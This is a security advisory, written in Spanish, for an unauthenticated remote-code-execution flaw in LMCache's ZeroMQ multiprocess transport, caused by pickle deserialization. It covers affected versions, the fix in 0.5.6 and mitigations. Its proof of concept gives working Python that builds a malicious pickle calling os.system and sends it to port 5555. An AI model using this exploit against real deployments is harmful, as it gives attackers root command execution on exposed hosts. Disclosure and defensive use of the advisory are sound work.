Resumen

LMCache es vulnerable a ejecución remota de código sin autenticación mediante deserialización Pickle en el transporte ZeroMQ multiproceso. Un atacante que pueda alcanzar el puerto de transporte puede enviar un único mensaje manipulado y ejecutar código arbitrario con los privilegios del proceso LMCache.

Detalles técnicos

El modo multiproceso de LMCache, también denominado modo distribuido, abre un socket ZeroMQ ROUTER sin autenticación para que los procesos trabajadores puedan registrarse y compartir bloques de caché KV. Los clientes previstos son procesos LMCache hermanos. El socket no dispone de CURVE, ZAP, contraseña ni autenticación de mensajes. LMCache utilizado exclusivamente dentro de un proceso vLLM no abre este puerto.

El transporte se enlaza a localhost salvo que el operador configure una dirección enrutable mediante --host, que es la forma en que los despliegues multinodo permiten la conexión entre pares. La puntuación de 9.8 corresponde a esa configuración enrutable. Una instalación estándar en un único host que mantiene el enlace por defecto no es alcanzable desde otras máquinas.

Los mensajes en el socket utilizan msgpack. El código de extensión 1 está registrado para DeviceIPCWrapper y se pasa a DeviceIPCWrapper.Deserialize en lmcache/v1/platform/base/ipc_wrapper.py, que invoca pickle.loads. Este hook se ejecuta desde ext_hook en lmcache/v1/multiprocess/custom_types.py mientras el servidor aún está decodificando los argumentos de REGISTER_KV_CACHE, antes de que se ejecute el manejador. Un único mensaje ZMQ DEALER sin autenticación al puerto de transporte (por defecto 5555) ejecuta código como el usuario con el que corre el proceso LMCache. Las imágenes de contenedor oficiales ejecutan ese proceso como root.

La ruta de decodificación vulnerable se introdujo en la versión v0.3.9. Permanece presente en la última versión publicada en PyPI, v0.5.5, en los candidatos de la versión v0.5.6 hasta v0.5.6rc3, y en la rama dev a fecha de 2026-10-07. No se ha publicado ninguna versión corregida hasta la 0.5.6.

Prueba de concepto

Paso 1: Iniciar el modo multiproceso enlazado a una dirección enrutable

Esta es la configuración documentada para multinodo. El transporte ZMQ escucha en el puerto 5555.

bash
python -m lmcache.v1.multiprocess.http_server \
  --http-host 127.0.0.1 --http-port 8080 \
  --host 0.0.0.0 --port 5555 \
  --l1-size-gb 0.25 --eviction-policy LRU \
  --hash-algorithm blake3 --instance-id mp-node-01

Paso 2: Construir un frame REGISTER_KV_CACHE cuyo slot de caché es un pickle

El slot de payload 1 es una extensión msgpack con código 1. El servidor deserializa con pickle ese cuerpo mientras aún está decodificando los argumentos. El comando escribe el resultado de id en /tmp/zmq_pwn.

python
import os
import pickle
import msgspec
import zmq

class EvilPayload:
    def __init__(self, cmd):
        self.cmd = cmd
    def __reduce__(self):
        return (os.system, (self.cmd,))

evil_pickle = pickle.dumps(EvilPayload("id > /tmp/zmq_pwn 2>&1"))

REGISTER_KV_CACHE = 1
EXT_CODE = 1
NUM_PAYLOADS = 7
KVCACHE_INDEX = 1

b_uid = msgspec.msgpack.encode(0)
b_type = msgspec.msgpack.encode(REGISTER_KV_CACHE)
payloads = [msgspec.msgpack.encode(None)] * NUM_PAYLOADS
payloads[0] = msgspec.msgpack.encode(0)
payloads[KVCACHE_INDEX] = msgspec.msgpack.encode(
    [msgspec.msgpack.Ext(EXT_CODE, evil_pickle)]
)
frames = [b_uid, b_type, *payloads]

Paso 3: Enviar el frame

python
ctx = zmq.Context()
s = ctx.socket(zmq.DEALER)
s.connect("tcp://127.0.0.1:5555")
s.send_multipart(frames)

El pickle se ejecuta durante la decodificación de argumentos. El servidor registra entonces un error de tipo para REGISTER_KV_CACHE porque el manejador esperaba un DeviceIPCWrapper y recibió el valor de retorno de os.system. Ese error se produce después de que el comando ya ha sido ejecutado.

Paso 4: Confirmar que el comando se ejecutó como el usuario LMCache

bash
cat /tmp/zmq_pwn

Salida esperada en una imagen oficial, donde el proceso corre como root:

code
uid=0(root) gid=0(root) groups=0(root)

Impacto

El modo multiproceso de LMCache utiliza un transporte ZeroMQ (puerto 5555 por defecto) que no requiere autenticación. Los descriptores IPC de dispositivo recibidos en este transporte se deserializaban con pickle.loads. Un atacante que pueda alcanzar el puerto de transporte puede enviar un único mensaje manipulado y ejecutar código arbitrario con los privilegios del proceso LMCache.

Por defecto el transporte se enlaza a localhost, y el modo monoproceso (en proceso) no abre el puerto. Los despliegues quedan expuestos cuando el transporte enlaza una dirección enrutable, como ocurre en configuraciones multinodo. El despliegue de ejemplo en Kubernetes del proyecto enlazaba todas las interfaces, y las imágenes de contenedor oficiales se ejecutaban como root, por lo que los despliegues basados en ellas deben considerarse expuestos.

Versiones afectadas: 0.3.9 hasta 0.5.5, los candidatos de la versión 0.5.6, y compilaciones de la rama dev anteriores al PR #5644.

Parches

Corregido en la versión 0.5.6. Pickle ha sido reemplazado por descriptores MessagePack versionados y tipados que se validan antes de su uso. El tipo de wrapper de dispositivo se selecciona desde una lista de permitidos local fija, y no existe ningún mecanismo de fallback a pickle. Tanto la ruta de transporte ZeroMQ como la de gRPC están cubiertas.

El formato de wire ha cambiado: es necesario actualizar todos los trabajadores y servidores de forma conjunta.

La versión 0.5.6 también enlaza el despliegue de ejemplo en Kubernetes a localhost (PR #5684) y ejecuta las imágenes oficiales como usuario no root (PR #5685).

Mitigaciones

Hasta que sea posible actualizar:

  • No enlazar el transporte a una dirección enrutable; mantenerlo en localhost o en una red de cluster de confianza.
  • Restringir el acceso al puerto de transporte (5555 por defecto) mediante reglas de firewall o políticas de red.
  • Ejecutar LMCache como usuario no root (compilar desde el Dockerfile proporcionado si es necesario).

Si el puerto de transporte estuvo alguna vez accesible desde una red no confiable, tratar el host como potencialmente comprometido: revisar las conexiones al puerto, verificar la existencia de procesos inesperados o conexiones salientes desde el proceso LMCache, rotar las credenciales accesibles y redesplegar desde imágenes limpias.